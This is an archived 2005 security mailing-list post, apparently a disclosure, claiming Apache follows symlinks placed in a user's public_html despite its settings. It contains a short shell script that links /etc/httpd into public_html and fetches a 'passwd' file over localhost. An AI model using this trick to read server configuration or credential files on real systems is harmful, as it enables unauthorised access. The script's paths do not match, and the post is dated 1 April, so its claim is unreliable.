| lists.openwall.net | lists / announce john-users owl-users popa3d-users / xvendor oss-security / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 | |
|
Open Source and information security mailing list archives
| ||
|
Date: Fri Apr 1 10:20:01 2005 From: duper at willhackforfood.biz (duper@...lhackforfood.biz) Subject: Phun With Apache #!/bin/sh ## Apache follows symbolic links referenced by public_html! ## Even when SymLinksifOwnerMatch is set and FollowSymLinks is not! ## A super-easy way to gain read access on files owned by the apache user! ln -s /etc/httpd ~/public_html lynx http://localhost/~duper/passwd